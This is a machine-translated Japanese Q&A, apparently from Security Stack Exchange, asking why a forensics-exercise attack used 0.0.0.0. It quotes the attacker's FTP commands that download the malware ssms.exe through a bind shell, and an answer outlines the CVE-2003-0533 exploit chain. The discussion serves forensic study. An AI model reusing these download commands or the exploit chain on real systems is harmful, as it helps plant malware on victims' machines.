web-dev-qa-db-ja.com

なぜこの攻撃はIPアドレスとして0.0.0.0を使用し、なぜ機能したのですか?

攻撃者はネットワークフォレンジックで この演習 を使用して、バッファオーバーフローエクスプロイトを使用して、被害者のコマンドプロンプトにコマンドを送信しました。コマンドはFTPセッションを開き、いくつかのマルウェアをダウンロードします。パケットが0.0.0.0のIPアドレスで動作する理由について混乱しています。パケットは、攻撃者が被害者のホストのシェルをバインドし、FTPを使用して実行ファイルを強制的にダウンロードすることを示しています。

コマンドは次のとおりです。

echo open 0.0.0.0 8884
echo user 1 1
echo get ssms.exe

私の質問は、彼らはどのようにしてIPアドレス0.0.0.0を使用してどこに行くのですか?バインドされたシェルは、0.0.0.0が攻撃者のマシンのlocalhostに解決されるようにエクスプロイトが行われている間、攻撃者のネットワークに何らかの形で関連付けられていますか?

回答の一部では、このIPアドレスの存在を使用して、被害者がハニーポットであることを証明しました。これは、攻撃者が与えたIPアドレスを受け入れ、指示どおりにexeをダウンロードしたためです。それでも、0.0.0.0はどのように取得しますか?また、ハニーポットにハッキングされたことを攻撃者が知るための良い方法ではありませんか?

1つの回答 (PDF)は、エクスプロイトの優れた説明を提供しますが、この質問には特に対処していません。 別の答え (PDF)は、0.0.0.0はエラーの可能性があると考えているため、混乱しています。

4
mcgyver5

インターネットプロトコルバージョン4では、アドレス0.0.0.0は、無効、不明、または適用されないターゲットを指定するために使用されるルーティング不可能なメタアドレスです。そうでなければ無効なデータに特別な意味を与えることは、インバンドシグナリングのアプリケーションです。

サーバーのコンテキストでは、0.0.0.0は「ローカルマシン上のすべてのIPv4アドレス」を意味します。ホストに192.168.1.1と10.1.2.1の2つのIPアドレスがあり、ホストで実行されているサーバーが0.0.0.0でリッスンしている場合、これらのIPの両方で到達可能になります。

ルーティングのコンテキストでは、0.0.0.0は通常、デフォルトルート、つまりローカルネットワーク上のどこかではなくインターネットの「残りの部分」につながるルートを意味します。

0.0.0.0 に関するウィキペディアの記事

私が推測した場合、私はチャレンジをしていませんが、最初のリンクに基づいて、エクスプロイトが次のようなものになった場合:

  1. エクスプロイトCVE-2003-0533-ポートをバインドするためのシェルコードTCP 1957をシェルとして使用(おそらく、攻撃者はこのポートがファイアウォールによってブロックされていないことを知っていましたか?))
  2. シェルから実行され、自身へのリバースFTP接続をセットアップするコマンド(この場合)。これをポート8884を介してホストに公開します。コンピューターは複数のIPを使用できるため、0.0.0.0は、逆接続が機能していたインターフェイスがこの接続を受け入れる場合は、と言う方法ですリバース接続は、ファイアウォールルールのバイパス に役立ちます
  3. FTPサーバーはこのトンネルの反対側にあり、実行されたコマンドはFTPにログインし、後で実行するために被害者のPCにマルウェアをダウンロードしました。
5
Brett Salmiery